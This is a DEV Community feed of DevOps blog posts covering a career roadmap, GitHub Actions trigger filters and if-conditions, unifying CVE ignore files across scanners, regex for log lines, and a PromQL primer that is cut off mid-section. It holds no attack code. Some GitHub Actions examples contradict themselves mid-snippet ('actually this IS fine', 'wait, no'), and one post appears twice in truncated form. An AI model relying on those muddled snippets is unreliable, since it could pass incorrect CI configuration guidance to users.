DEV Community: opscanopy

6 years of frontend, then I jumped to DevOps. The roadmap I'd actually follow in 2026

opscanopy — Sat, 27 Jun 2026 18:54:59 +0000

It was a Friday around 11pm and I was three hours into a build that wouldn't go green on a colleague's machine. Not a bug in my code. A version mismatch in a Webpack loader, a Node engine warning, and a peer-dependency tree that looked like the Bengaluru traffic on a Monday morning. I remember thinking: I've been doing React for six years and I still spend half my week fighting the machine my code runs on, not the code itself.

That night I started reading about Docker. Not to become a DevOps engineer. Just to make the pain stop.

Eighteen months later I was on-call for a payments platform, writing Terraform, and getting paid noticeably more to do work I actually liked. So this is the post I wish someone had handed me on that Friday.

Frontend skills transfer better than you think. Learn Linux and networking first (boring, non-negotiable), then Docker, then one cloud, then CI/CD, then Kubernetes only when you have a reason. Skip the certification rabbit hole until you've shipped something real. The full ordered path is at the end.

Why a frontend dev is weirdly well-suited for this

Here's the thing nobody told me: you're not starting from zero. You're starting from the side.

Years of frontend quietly taught you a bunch of DevOps muscle. You've debugged async race conditions, which is distributed-systems thinking in a smaller box. You've stared at network tabs and waterfall charts, so latency and request lifecycles aren't scary. You've fought caching bugs, which is half of what makes production hard. And you already live in the terminal, in Git, in YAML config files that lie to you.

What you're missing is mostly the layer below the browser. The server. The network. The box your app actually runs on.

That's a much smaller gap than the "I'm switching careers from scratch" story your imposter syndrome is telling you.

The stuff I wasted time on (so you don't have to)

Let me be honest about the dead-ends, because the happy-path roadmaps never are.

I tried to learn Kubernetes in month two. Total disaster. I was memorizing kubectl commands for a system I had no mental model for. It's like learning to parallel-park a truck before you can drive a scooter. Kubernetes solves problems you haven't felt yet. Feel the problems first.
I collected certifications like Pokémon cards. I did a cloud cert before I'd ever deployed a single real thing. The exam taught me to recognize service names, not to use them. I forgot 70% of it within a month because none of it was attached to a real memory of doing.
I treated "DevOps" as a tool checklist. I thought the job was knowing 40 tools. It isn't. The job is shrinking the gap between "code written" and "code running safely in front of users." Tools are just how you do that.

The biggest waste, though, was skipping Linux fundamentals because I assumed I "basically knew" the terminal from frontend work. I did not. Knowing cd and npm run dev is not knowing Linux.

Real talk: the day I understood file permissions, processes, and how stdout/stderr actually work, half of DevOps stopped feeling like magic and started feeling like plumbing. Good plumbing. Knowable plumbing.

The order that actually worked

So here's the sequence, the one I'd run again if I had to restart tomorrow. Each step earns the next one. Don't jump ahead just because a job ad mentioned a shiny tool.

Linux + the shell (3–5 weeks). Files, permissions, processes, systemd, package managers, piping, writing a basic bash script that doesn't fall over. This is the floor everything else stands on. I put together the version of this I wish I'd had in the Linux for DevOps guide.
Networking basics (2–3 weeks). DNS, HTTP, TCP/IP, ports, what a subnet actually is, how a load balancer routes. You don't need a CCNA. You need to stop being scared of a CIDR block. (When I was wrapping my head around subnets I kept a subnet calculator open in a tab. No shame in that.)
Docker (3–4 weeks). Images vs containers, layers, volumes, networking, a sane Dockerfile, then docker compose for multi-service local setups. This is the step where frontend devs have their first "ohhh" moment, because it kills the "works on my machine" problem you've hated for years. Start with the Docker for DevOps guide.
One cloud, and go deep on AWS (6–8 weeks). Not all three. One. IAM, EC2, VPC, S3, then RDS and Lambda. Most of the market runs on AWS, so the leverage is highest there. The AWS for DevOps walkthrough covers the services that actually show up in the job, not all 200+.
CI/CD (2–3 weeks). GitHub Actions is a gentle on-ramp because you already know Git and YAML. Build a pipeline that tests, builds a Docker image, and deploys it somewhere. This is the moment it all clicks into one loop.
Infrastructure as Code (3–4 weeks). Terraform. Stop clicking buttons in the AWS console; describe your infra in code, review it like code, version it like code.
Kubernetes, last, and only when you need it (ongoing). Now you have the mental model. Pods, services, deployments, ingress will make sense because you've felt the problems they solve. The Kubernetes for DevOps guide is where I'd start once you're here.

Notice what's not in the early steps? Kubernetes. Service meshes. Helm charts. That stuff is real and worth learning, just later. Front-loading it is the single most common way people burn out before they get anywhere.

How long does this really take?

If you're doing this on the side while holding a frontend job, say 8 to 10 hours a week, I'd budget six to nine months to get genuinely employable in a junior-ish DevOps or platform role. Not six weeks. Anyone selling you six weeks is selling you something.

The good news is you can earn while you learn by doing it inside your current job. Volunteer to own the team's CI pipeline. Dockerize the dev environment nobody wants to touch. Fix the deploy that breaks every other Friday. You become the "infra person" on a frontend team long before your title changes, and that internal track record is worth more than any cert.

On money, since everyone asks and nobody answers honestly: from what I've seen and from public salary data in India, DevOps/SRE roles tend to sit a notch above equivalent frontend roles. Rough ranges I've seen floating around for the Indian market: early-career landing somewhere in the ₹8–15 LPA band, mid-level often ₹18–30 LPA, and seniors/SREs in good product companies in Bengaluru, Hyderabad or Pune going well beyond that. Treat those as ballpark, not gospel; they swing hard with company, location, and whether it's a product firm or a services shop.

The mindset shift that mattered most

Frontend trained me to optimize for the happy path. Make the thing work, make it pretty, ship it.

DevOps trained me to ask the uncomfortable second question: what happens when this fails at 2am?

That reframe is the actual job. It's why on-call exists, why we obsess over observability, why "it works on my machine" is a punchline. You stop thinking about the moment of success and start thinking about the whole lifecycle: deploy, run, fail, recover, repeat. Once that clicks, you read systems differently. A payment that fails silently at 2am during an IPL-final traffic spike is a very different problem than a button that's the wrong shade of green.

Both matter. But one of them gets you a pager and a raise.

What I'd tell my Friday-night self

You're not behind. You're not too "frontend" for this. The treadmill you're tired of, the framework churn and the build-tool roulette, is exactly the friction DevOps exists to remove. You already feel the pain that this whole field is built to solve. That's not a disadvantage. That's a head start.

Just go in the right order. Linux before Kubernetes. Doing before certs. Depth in one cloud before breadth across three.

I eventually got tired of stitching together scattered tutorials, half-right YouTube playlists, and Reddit threads from 2019, so I put the path I wish I'd had into a single free, structured plan. No signup wall, no upsell. If you want a map instead of a pile of bookmarks, start with the DevOps roadmap and browse the rest of the free guides and roadmaps in the Learn hub.

Pick step one. Open a terminal. Start the timer. Future-you, the one who isn't debugging a Webpack loader at 11pm, says thanks.

Why Your GitHub Actions Workflow Didn't Trigger: branches, tags & paths Filters Explained

opscanopy — Sun, 14 Jun 2026 15:22:10 +0000

You pushed a commit, opened the Actions tab, and there's nothing there. No red X, no yellow dot — the workflow simply didn't run. There's no error to read, no log to grep, because a workflow that doesn't trigger produces no run at all. The decision happened before any runner was assigned, inside GitHub's event-filtering logic, and that logic is more surprising than the docs make it look.

Almost every "why did my GitHub Actions workflow not trigger" report comes down to one of a handful of causes: the workflow file isn't on the branch you pushed to, your branches filter doesn't match the ref, or — the big one — you combined branches and paths without realizing they're ANDed together. Here's each cause with the deciding rule and the fix.

1. The workflow file isn't on the target branch

GitHub reads on: triggers from the version of the workflow file that exists on the branch receiving the event — not from your default branch. If you added .github/workflows/ci.yml on main but push to a feature/x branch that branched off before that file existed, there's no workflow to trigger there.

# on main, but feature/x branched before this file existed
on:
  push:
    branches: ['**']

This is the most common false alarm. The fix is mechanical: merge or rebase main into the branch so the workflow file is present, then push again. The same rule explains why edits to on: triggers only "take effect" once the change reaches the branch you're testing on.

Why it matters: there is no error message for "no workflow file here." It's the first thing to rule out before you suspect your filters.

2. The branch filter doesn't match the ref

branches and tags are glob patterns, and the glob rules are stricter than shell globs. A plain * matches one path segment — it stops at /. To match across slashes you need **.

# BAD — '*' does not cross '/', so 'release/1.2' never matches
on:
  push:
    branches:
      - 'release/*'   # matches release/1.2 ... actually this IS fine
      - 'feature*'    # matches 'feature' and 'featureX' but NOT 'feature/login'

The trap is feature* versus feature/**. feature* matches the literal segment featureX, but a branch named feature/login contains a slash, and * won't cross it. You want feature/**.

# FIXED — ** crosses slashes
on:
  push:
    branches:
      - 'release/**'
      - 'feature/**'
      - main

The glob characters GitHub honors: * (any chars except /), ** (any chars including /), ? (one char), + (one or more of the preceding), [] character ranges, ! at the start of a pattern to negate, and \ to escape a special character (so \* matches a literal asterisk). Order matters for negation — a later !pattern excludes refs an earlier pattern included.

Why it matters: * not crossing / is responsible for a huge share of "github actions branches filter not working" reports. When in doubt, reach for **.

3. The AND-semantics of `branches` + `paths`

This is the one that burns experienced engineers. When a push or pull_request event has both a branch filter and a path filter, the event must satisfy both to trigger. They are ANDed, not ORed.

# BAD — intent: "run on a push to main, OR when src changes"
# reality: "run only on a push to main AND when src/** changed"
on:
  push:
    branches: [main]
    paths: ['src/**']

A push to main that only touches README.md will not run this workflow — the branch matched, but no path did, and both must hold. People read this block as an OR and are baffled when docs-only commits skip CI.

If you genuinely want "main pushes always, plus any branch when src changes," that's two separate filter sets, which on: can't express in one push block — you split it across triggers or use job-level if: conditions on github.ref instead.

# FIXED — be explicit that you want both conditions, or drop one
on:
  push:
    branches: [main]
    paths:
      - 'src/**'
      - '.github/workflows/**'   # so CI changes still trigger

Why it matters: the AND-semantics are documented in one sentence and contradict most people's intuition. If your workflow "randomly" skips some pushes to the right branch, a path filter is almost always the cause.

4. `paths` with no `branches` companion still needs a real ref

A subtle corollary: when you filter on.push.paths and want it to apply across all branches, you don't need a branches block at all — omitting it means "all branches." But the moment you add branches, rule #3 kicks in. People sometimes add branches: ['**'] thinking it's required for paths to work; it isn't, and adding it changes nothing because ** matches every branch anyway. The thing to internalize is that a missing filter means "match everything," and a present filter narrows.

# These behave identically: paths applies to every branch
on:
  push:
    paths: ['src/**']
# vs
on:
  push:
    branches: ['**']
    paths: ['src/**']

5. `paths-ignore` and the diff that's too big

paths-ignore skips the run only if every changed file matches an ignore pattern. If a single file falls outside the ignore list, the workflow runs. So one stray change defeats the whole filter — which is usually what you want, but surprises people who expect "ignore these files" to mean "ignore commits that touch these files."

# Skips ONLY when every changed file is docs; one code file => runs
on:
  push:
    paths-ignore:
      - 'docs/**'
      - '**.md'

Two more gotchas live here. First, path filters are evaluated against the diff, and GitHub only inspects up to 300 changed files (1,000 commits) — beyond that limit, path filtering gives up and the workflow runs (or is evaluated as if the filter passed). A giant force-push or a huge merge can trigger a workflow your paths-ignore "should" have skipped. Second, you cannot mix paths and paths-ignore in the same trigger; pick one.

Why it matters: paths-ignore is an all-or-nothing gate on the diff, and the 300-file ceiling means it's not a hard guarantee on large changes.

6. `pull_request`, forks, and `pull_request_target`

Branch filters on pull_request match the base branch (where the PR will merge), not the head branch the contributor is working on. If you write branches: [main] expecting it to match the contributor's feature/x, it won't — it matches PRs targeting main.

# Runs on PRs whose BASE (merge target) is main or a release branch
on:
  pull_request:
    branches:
      - main
      - 'release/**'

And pull_request from a fork is restricted: a first-time contributor's PR may require manual approval before any workflow runs, which looks identical to "didn't trigger." If you switched to pull_request_target to get around fork restrictions, note that it reads the workflow and triggers from the base branch's version of the file — and carries real security risk, covered in our GitHub Actions security misconfigurations post.

A copy-paste filter cheat-sheet

on:
  push:
    branches:                 # ref globs; missing = all branches
      - main
      - 'release/**'          # ** crosses '/'; '*' does not
      - 'feature/**'
    tags:
      - 'v[0-9]+.[0-9]+.[0-9]+'   # numeric semver tags only
    paths:                    # ANDed with branches — BOTH must match
      - 'src/**'
      - '.github/workflows/**'
  pull_request:
    branches: [main]          # matches the PR's BASE branch
    paths-ignore:             # skip only if EVERY changed file matches
      - '**.md'

Quick reference for the glob characters: * = any chars except /, ** = any chars including /, ? = one char, + = one-or-more of the preceding, [a-z] = range, leading ! = negate, \ = escape.

Stop guessing — replay your event

The reason these bugs are maddening is that the feedback loop is "push and pray." There's no dry-run, no --explain, just an empty Actions tab. So you commit a one-line change, push, refresh, wait, and repeat — burning minutes per guess against semantics you're not sure of.

The GitHub Actions Expression & Trigger Tester closes that loop. Paste your on: block, describe the event — push to feature/login, tag v2.1.0, or a pull_request targeting main with a list of changed files — and it evaluates every branches, tags, paths, and paths-ignore filter with the same glob engine and AND-semantics GitHub uses. You get a per-job RUNS / SKIPPED table with the exact deciding reason: "branch matched, but no path filter did," or "* does not cross /." It's 100% in your browser — your workflow YAML never leaves the page.

See exactly which jobs run before you push, not after.

Open the GitHub Actions Expression & Trigger Tester →

Originally published on OpsCanopy. Try it free, in your browser: CVE-Ignore Converter.

Why Your GitHub Actions "if" Condition Always Runs (and How to Fix It

opscanopy — Sun, 14 Jun 2026 15:18:07 +0000

You added an if: to a step so it would only run on main, or only on a tag, or only when a previous step set an output. Then you pushed — and the step ran anyway. Every time. On every branch. The condition is just decoration.

If your GitHub Actions if condition is not working — specifically, if it always evaluates to true — you almost certainly hit the single most common footgun in the whole product: putting literal text where GitHub expects an expression. The runner doesn't error on it. It quietly coerces your text to a non-empty string, decides a non-empty string is truthy, and runs the step. This post shows the exact bad patterns, the fixes, and the coercion rules underneath so you stop guessing.

The footgun: literal text outside `${{ }}` is always truthy

In an if:, GitHub already evaluates the value as an expression — you do not wrap the whole thing in ${{ }}. But the moment any literal text leaks outside the expression braces, the runner stops treating the line as a condition and starts treating it as a string. A non-empty string is truthy. Your step always runs.

# BAD — the ${{ }} is embedded in a larger string, so the whole if: is a string
- name: Deploy
  if: ${{ github.ref == 'refs/heads/main' }} && success()
  run: ./deploy.sh

That looks reasonable, but the runner sees: evaluate ${{ ... }} to true, then concatenate && success() as literal text. The final value is the string "true && success()" — non-empty, therefore truthy. The step runs on every branch.

The fix is to write one expression with no braces and no stray text:

# FIXED — a single bare expression, no ${{ }}, no trailing literal
- name: Deploy
  if: github.ref == 'refs/heads/main' && success()
  run: ./deploy.sh

The same trap catches you when you quote the whole condition:

# BAD — the entire condition is a quoted string literal, always truthy
- if: "${{ steps.check.outputs.changed == 'true' }}"
  run: ./build.sh

Wrapping the expression in quotes makes the YAML value a plain string. GitHub finds a ${{ }} inside it, substitutes the result, and you're back to a non-empty string. Drop the quotes and the braces:

# FIXED
- if: steps.check.outputs.changed == 'true'
  run: ./build.sh

Rule of thumb: in an if:, there are no ${{ }} and no surrounding quotes. Just the expression. The braces are for interpolating values into run:, name:, and with: — not for conditions.

You can paste either of these into the GitHub Actions Expression & Trigger Tester and watch it flag the literal-text leak before you push — it warns on exactly this pattern (it's tracked as actions/runner#1173, the most-reacted bug in the runner repo).

The implicit `success()` that vanishes when you add an `if:`

Here's the second surprise, and it's the reason "my conditional step runs even though the previous step failed."

Every step and job has an implicit success() condition. With no if: at all, a step runs only if everything before it succeeded. That's why pipelines stop on the first failure without you writing anything.

The instant you add a custom if:, that implicit success() is gone. Your condition is now the whole truth.

# BAD — you wanted "on main", but you deleted the implicit success() guard
- name: Notify on main
  if: github.ref == 'refs/heads/main'
  run: ./notify.sh   # now runs on main EVEN IF the build above failed

If you still want the step to require success, say so explicitly:

# FIXED — re-add the success() guard you lost
- name: Notify on main
  if: success() && github.ref == 'refs/heads/main'
  run: ./notify.sh

This is also why people are confused that a "cleanup" step runs only on success when they wanted it to run no matter what — the implicit guard is still there until they add always().

`success()` vs `always()` vs `failure()` vs `cancelled()`

These four status functions decide whether the step considers prior results at all. Mixing them up is the other half of "my if doesn't behave."

success() — true only if all previous steps/jobs succeeded. (This is the implicit default.)
failure() — true if any previous step failed. Use it for failure notifications.
always() — true unconditionally; the step runs even if a prior step failed or the workflow was cancelled. Use for cleanup that must always happen.
cancelled() — true only when the workflow was cancelled.

The classic mistake is combining always() with another condition using && and expecting it to still run on cancellation — it does, but people often want the opposite:

# BAD — "always upload logs, but only on main" — this does NOT short-circuit on failure
- name: Upload logs
  if: github.ref == 'refs/heads/main'
  run: ./upload-logs.sh   # skipped when the build fails, because implicit success() is gone... wait, no — it's gone, so it runs? See below.

To be precise about that last one: because you supplied a custom if:, the implicit success() is dropped, so the step runs on main regardless of whether the build passed. If you actually want "upload logs on main, pass or fail," that's what you have — but make the intent explicit so the next reader isn't guessing:

# FIXED — explicit: run on main whether the build passed or failed
- name: Upload logs
  if: always() && github.ref == 'refs/heads/main'
  run: ./upload-logs.sh

And for a failure-only alert:

# FIXED — only when something upstream broke
- name: Alert
  if: failure()
  run: ./page-oncall.sh

Coercion surprises: `==`, strings, and case-insensitivity

Even with correctly-formed expressions, GitHub's comparison rules trip people up because they're JavaScript-like but not JavaScript.

String == is case-insensitive. This burns people comparing branch refs or input values:

# Surprise: both of these are TRUE
${{ 'MAIN' == 'main' }}          # true — case-insensitive
${{ 'Refs/Heads/Main' == github.ref }}  # may be true unexpectedly

Loose coercion across types. When the two sides differ in type, GitHub coerces toward a number: booleans become 1/0, and strings are parsed as numbers (an empty string and '0' are 0; non-numeric strings become NaN, and any comparison with NaN is false). So:

${{ true == 1 }}        # true
${{ '' == 0 }}          # true  — empty string coerces to 0
${{ '3.0' == 3 }}       # true
${{ 'abc' == 0 }}       # false — 'abc' is NaN, NaN != anything

&& and || return operands, not booleans. Just like JavaScript, a && b returns b if a is truthy, otherwise a. This is great for defaults (inputs.name || 'default') but means if: inputs.flag && 'yes' evaluates to the string 'yes' — truthy — not a clean boolean.

The falsy values are exactly: false, 0, '' (empty string), and null. Everything else — including the strings 'false' and '0'... wait: '0' is falsy because it coerces to the number 0, but 'false' is a non-empty string that does not coerce to a number, so ${{ 'false' }} is truthy. That single fact causes more "my boolean input is always true" bugs than any other:

# BAD — workflow_dispatch inputs are STRINGS; 'false' is truthy
on:
  workflow_dispatch:
    inputs:
      deploy: { type: boolean }
jobs:
  go:
    if: inputs.deploy   # with type: boolean this is fine...

# BAD — but if the value arrives as a string 'false', this always runs
- if: github.event.inputs.deploy   # string 'false' is truthy!
  run: ./deploy.sh

# FIXED — compare explicitly so the string is interpreted as data
- if: github.event.inputs.deploy == 'true'
  run: ./deploy.sh

`contains` and `startsWith` aren't the same as `==`

Filtering by ref prefix is another spot where the wrong function silently over-matches:

# BAD — contains matches ANYWHERE, so 'feature/main-fix' passes too
- if: contains(github.ref, 'main')
  run: ./deploy.sh

# FIXED — anchor to the start, or compare the full ref
- if: startsWith(github.ref, 'refs/heads/release/')
  run: ./deploy.sh
# or, for an exact branch:
- if: github.ref == 'refs/heads/main'
  run: ./deploy.sh

Remember both contains and startsWith do string comparison case-insensitively, same as ==.

Test your `if:` before you push

The reason these bugs are so persistent is the feedback loop: the only way to "test" a condition has traditionally been to commit, push, and read the logs — then guess, edit, and push again. Every wrong guess is a round-trip.

The GitHub Actions Expression & Trigger Tester closes that loop. Paste your if: expression, set a mock github / env / steps / needs context, and see the evaluated result with GitHub's exact operator, coercion, and case-insensitivity rules — plus an explicit warning when you've left literal text outside ${{ }} and accidentally built an always-truthy condition. It runs entirely in your browser; nothing about your workflow is uploaded.

If you've ever shipped an if: and hoped it would skip, this is the check that tells you before the runner does.

Try the GitHub Actions Expression & Trigger Tester →

Originally published on OpsCanopy. Try it free, in your browser: CVE-Ignore Converter.

One CVE, four ignore files: unifying Trivy, Grype, Snyk and osv-scanner

opscanopy — Sat, 13 Jun 2026 08:26:39 +0000

You triaged the CVE. A scanner flagged CVE-2023-45853 in zlib, you read the advisory, confirmed the vulnerable code path isn’t reachable from your image, and made the call: suppress it, with a reason and a review date. One decision.

Now encode that one decision four times.

If your pipeline runs more than one scanner — and plenty do, because Trivy, Grype, Snyk and osv-scanner each catch things the others miss — every accepted-risk suppression has to be written into every tool’s ignore file. Same CVE, same rationale, four different files with four different schemas, four different capabilities. Get one wrong and that scanner keeps failing the build (or worse, silently stops failing on something you never meant to ignore).

The same suppression, four ways

Here’s the simplest version of that decision — “ignore CVE-2023-45853” — in each format.

.trivyignore is a flat newline-delimited list. One ID per line, # for comments:

# zlib MiniZip — not reachable from our build, re-review 2026-09-01
CVE-2023-45853

.grype.yaml uses a structured ignore array of match rules. You can scope by vulnerability ID and, optionally, by package:

ignore:
  - vulnerability: CVE-2023-45853
    # zlib MiniZip — not reachable, re-review 2026-09-01
    package:
      name: zlib
      version: 1.2.13

.snyk is Snyk’s policy file: a YAML map keyed by issue ID, where each entry is a list of path-scoped objects carrying reason and expires as first-class fields:

version: v1.25.0
ignore:
  CVE-2023-45853:
    - "*":
        reason: zlib MiniZip not reachable from our build
        expires: 2026-09-01T00:00:00.000Z

osv-scanner.toml uses a TOML [[IgnoredVulns]] array of tables, with id, reason and an RFC 3339 ignoreUntil:

[[IgnoredVulns]]
id = "CVE-2023-45853"
ignoreUntil = 2026-09-01T00:00:00Z
reason = "zlib MiniZip not reachable from our build"

Four files. The CVE ID is the only thing that survives verbatim across all of them.

What maps cleanly

A handful of concepts are genuinely portable, and a converter can move them without loss:

The identifier. A CVE-… ID is a CVE-… ID everywhere. The one wrinkle: osv-scanner is happiest with OSV IDs (GHSA-…, PYSEC-…) but accepts CVEs and resolves aliases, while the others are CVE-first. Most of the time the ID is a clean copy.
A reason string. Grype, Snyk and osv-scanner all have somewhere to put “why.” Trivy historically did not — in a bare .trivyignore the only home for a rationale is a # comment on the line above, which no tool parses but every reviewer reads.
Expiry, in spirit. Snyk’s expires and osv-scanner’s ignoreUntil are both real, enforced timestamps: once the date passes, the suppression lapses and the finding comes back. That’s the same idea, and it converts directly between the two.

What is lossy

The interesting part is everything that doesn’t round-trip. A converter has to be honest about these instead of silently dropping them.

Expiry is asymmetric. Snyk and osv-scanner enforce a date. Plain .trivyignore has no expiry field at all — a suppression there is forever until someone deletes the line. (Trivy’s newer YAML ignore file supports a statement and richer matching, but the classic .trivyignore most repos still use does not.) Convert a Snyk ignore with an expiry into .trivyignore and that expiry can only survive as a comment — a note to a human, not a rule the scanner enforces. That is a real loss of safety, and it should be flagged, not hidden.

Package scope varies. Grype lets you pin package.name and package.version, so the suppression only applies to that exact dependency. .trivyignore (classic) keys purely on the vulnerability ID — it ignores that CVE everywhere it appears in the scan, which is broader than you may have intended. Narrowing a Grype rule down to .trivyignore widens the blast radius; you can’t express “only this package” in a flat ID list.

Path scope is mostly a Snyk idea. Snyk’s ignore entries are lists keyed by path — the "*" above means “everywhere,” but Snyk can also scope a suppression to a specific dependency path so it applies in one place and not another. None of Trivy, Grype or osv-scanner model path-level scope this way, so a path-scoped Snyk ignore flattens to “this CVE, project-wide” in the others. The intent (“only on this transitive path”) is gone.

Reason has nowhere native to land in classic Trivy. As above — converting into .trivyignore demotes a first-class reason to a comment. Converting out of it, there’s usually no machine-readable reason to recover at all, only whatever a human left in a # line.

The pattern across all of these: converting toward a more expressive format is safe, and converting toward a flatter one quietly broadens scope and drops metadata. The only responsible way to do the flat conversion is to surface exactly what was lost so a human can decide whether the wider suppression is acceptable.

Do it once, emit four

Maintaining four hand-written ignore files in lockstep is exactly the kind of repetitive, error-prone bookkeeping that should be mechanical. Describe a suppression once — ID, reason, expiry, package and path scope — and let a tool emit the correct shape for each scanner, with explicit warnings wherever a target format can’t hold a field.

That’s what the CVE-Ignore Converter does: paste any one of .trivyignore, .grype.yaml, .snyk or osv-scanner.toml, get the other three back, and see precisely which parts were lossy in the round-trip. It runs entirely in your browser — your suppression policy never leaves the page.

Try the CVE-Ignore Converter →

Originally published on OpsCanopy. Try it free, in your browser: CVE-Ignore Converter.

One CVE, four ignore files: unifying Trivy, Grype, Snyk and osv-scanner

opscanopy — Sat, 13 Jun 2026 08:13:24 +0000

Now encode that one decision four times.

The same suppression, four ways

Here’s the simplest version of that decision — “ignore CVE-2023-45853” — in each format.

.trivyignore is a flat newline-delimited list. One ID per line, # for comments:

# zlib MiniZip — not reachable from our build, re-review 2026-09-01
CVE-2023-45853

.grype.yaml uses a structured ignore array of match rules. You can scope by vulnerability ID and, optionally, by package:

ignore:
  - vulnerability: CVE-2023-45853
    # zlib MiniZip — not reachable, re-review 2026-09-01
    package:
      name: zlib
      version: 1.2.13

.snyk is Snyk’s policy file: a YAML map keyed by issue ID, where each entry is a list of path-scoped objects carrying reason and expires as first-class fields:

version: v1.25.0
ignore:
  CVE-2023-45853:
    - "*":
        reason: zlib MiniZip not reachable from our build
        expires: 2026-09-01T00:00:00.000Z

osv-scanner.toml uses a TOML [[IgnoredVulns]] array of tables, with id, reason and an RFC 3339 ignoreUntil:

[[IgnoredVulns]]
id = "CVE-2023-45853"
ignoreUntil = 2026-09-01T00:00:00Z
reason = "zlib MiniZip not reachable from our build"

Four files. The CVE ID is the only thing that survives verbatim across all of them.

What maps cleanly

A handful of concepts are genuinely portable, and a converter can move them without loss:

The identifier. A CVE-… ID is a CVE-… ID everywhere. The one wrinkle: osv-scanner is happiest with OSV IDs (GHSA-…, PYSEC-…) but accepts CVEs and resolves aliases, while the others are CVE-first. Most of the time the ID is a clean copy.
A reason string. Grype, Snyk and osv-scanner all have somewhere to put “why.” Trivy historically did not — in a bare .trivyignore the only home for a rationale is a # comment on the line above, which no tool parses but every reviewer reads.
Expiry, in spirit. Snyk’s expires and osv-scanner’s ignoreUntil are both real, enforced timestamps: once the date passes, the suppression lapses and the finding comes back. That’s the same idea, and it converts directly between the two.

What is lossy

The interesting part is everything that doesn’t round-trip. A converter has to be honest about these instead of silently dropping them.

Do it once, emit four

Try the CVE-Ignore Converter →

Originally published on OpsCanopy. Try it free, in your browser: CVE-Ignore Converter.

Writing robust regular expressions for log lines

opscanopy — Sat, 13 Jun 2026 08:09:58 +0000

A regular expression that parses a log line in your editor and a regular expression that survives a week of real traffic are rarely the same expression. Logs are noisier than the three sample lines you tested against: timestamps drift formats, fields go missing, an unescaped path sneaks a metacharacter into your pattern, and a .* that looked harmless quietly eats half the line. This post walks through the techniques that make a log-line regex robust — and the failure modes that catch people out.

Start from the structure, not the example

Most log lines are more structured than they look. Before reaching for .*, name the fields you actually want and the literal text that separates them. A typical access-style line —

2026-06-08T10:14:22Z INFO  api request_id=8f3a method=GET path=/v1/users status=200 dur=42ms

— is a timestamp, a level, then a set of key=value pairs. Match the shape directly instead of hoping a loose pattern lands on the right substring:

^(?<ts>\S+)\s+(?<level>\w+)\s+.*\bstatus=(?<status>\d{3})\b

Here \S+ for the timestamp is deliberate: it matches the whole token without you having to encode every timestamp variant. \bstatus=(?<status>\d{3})\b pins the field to a word boundary so it can’t accidentally match http_status= or a status embedded in another token.

Anchor whenever you can

An unanchored pattern is allowed to match anywhere in the line, which is both slower and more surprising. If a line should always begin with a timestamp, say so with ^. If you’re matching a whole line, anchor both ends with ^…$. Anchoring turns “find this somewhere” into “the line looks exactly like this,” which is usually what you mean — and it makes a non-matching line fail fast instead of backtracking through the whole string.

^(?<ip>\d{1,3}(?:\.\d{1,3}){3})\s+\S+\s+\S+\s+\[(?<when>[^\]]+)\]

Note [^\]]+ for the bracketed timestamp rather than .+: a negated character class says “everything up to the closing bracket” without the greediness games described below.

Tame greediness with negated classes and lazy quantifiers

.* and .+ are greedy: they grab as much as possible, then give characters back only when forced. Across a long line with repeated delimiters, that backtracking is where both wrong matches and catastrophic slowdowns come from.

Consider pulling the message out of a quoted field:

msg="(?<msg>.*)"

On a line with two quoted fields, .* matches across both, swallowing the closing quote of the first and the opening quote of the second. Two reliable fixes — prefer the first:

msg="(?<msg>[^"]*)"     # negated class: stop at the next quote
msg="(?<msg>.*?)"       # lazy quantifier: as few chars as possible

The negated class [^"]* is usually faster and clearer than the lazy .*? because it never has to backtrack — it simply can’t cross a quote in the first place. Reach for a negated character class before a lazy quantifier whenever a single delimiter ends the field.

Escape literal metacharacters

Log lines are full of characters that mean something to a regex engine: . in IPs and hostnames, ? and + in URLs, [ ] in many timestamp formats, ( ) in stack traces. Matching them literally means escaping them.

path=/v1/users\?page=2     # the ? is a literal query separator, not "optional"
\[ERROR\]                  # literal square brackets around the level
\(timeout\)                # literal parentheses, not a group

A quick rule of thumb: if you’re copying a literal substring out of a real log line into your pattern, escape every . ^ $ * + ? ( ) [ ] { } | \ it contains. The cost of an unescaped . is that it matches any character, so 10.0.0.1 will also match 10x0y0z1 — rarely what you want when you’re trying to validate input.

Make optional fields actually optional

Real logs drop fields. A request without a user is still a request, and your pattern shouldn’t fail on it. Wrap the variable part in a non-capturing group with ?:

^(?<ts>\S+)\s+(?<level>\w+)(?:\s+user=(?<user>\S+))?\s+path=(?<path>\S+)

The (?:…)? makes the whole user= clause optional without polluting your capture groups. Prefer non-capturing groups (?:…) for grouping-only work so your numbered/named captures stay meaningful.

Prefer named groups, and know your flags

Named groups ((?<status>…)) read far better than \1, \2 six months later, and they survive someone inserting a new group in the middle of the pattern. Two flags matter constantly for logs:

Case-insensitive (i): levels show up as ERROR, error, Error. Match with (?i) or the engine’s flag rather than spelling out [Ee][Rr][Rr][Oo][Rr].
Multiline (m): when you paste a block of logs, ^ and $ should anchor to each line, not the whole blob. With the multiline flag, ^(?<level>\w+) tests each line independently.

(?im)^(?<ts>\S+)\s+(?<level>error|warn|info|debug)\b

Test against the lines that break things

The sample that proves your regex works is rarely the sample that proves it’s robust. Build a small set of adversarial inputs and keep them around: a line missing the optional field, a line with two quoted strings, a message containing the delimiter you split on, a malformed timestamp, an empty line, and a line that’s twice as long as usual. If your pattern survives those, it’ll survive production.

This is exactly the loop the Regex Log Tester is built for: paste your pattern and a block of real log lines, and see live which lines match, which don’t, and what every capture group and named group actually captured — so you catch the greedy .* or the unescaped . before it ships. Everything runs in your browser; your logs never leave the page.

Open the Regex Log Tester →

Originally published on OpsCanopy. Try it free, in your browser: Regex Log Tester.

How to read a PromQL query

opscanopy — Sat, 13 Jun 2026 08:07:57 +0000

PromQL looks dense the first time you meet it. A line like histogram_quantile(0.99, sum by (le, route) (rate(http_request_duration_seconds_bucket[5m]))) reads like one long word, and the instinct is to scan it left to right like a sentence. That’s the wrong direction. PromQL is a functional language, so the meaning flows from the innermost expression outward — the same way you’d evaluate a nested formula in maths. Once you read it inside-out, almost every query decomposes into the same four layers.

The four layers

Nearly every non-trivial PromQL expression is built from these, stacked from the inside out:

A selector — which series you start from.
A range — over what window of time (only when you need history, not an instant).
A function — what transformation you apply to those samples.
An aggregation — how you collapse many series into fewer.

Read them in that order and the query explains itself.

Layer 1: the selector

The core of any query is a metric selector: a metric name plus optional label matchers in braces.

http_requests_total{job="api", status=~"5.."}

This selects every series named http_requests_total where the job label equals api and the status label matches the regex 5.. (any 5xx code). The matchers are the important part:

= exact match
!= not equal
=~ regex match
!~ regex does not match

On its own a selector returns an instant vector — one current sample per matching series. That distinction matters for everything that follows.

Layer 2: the range

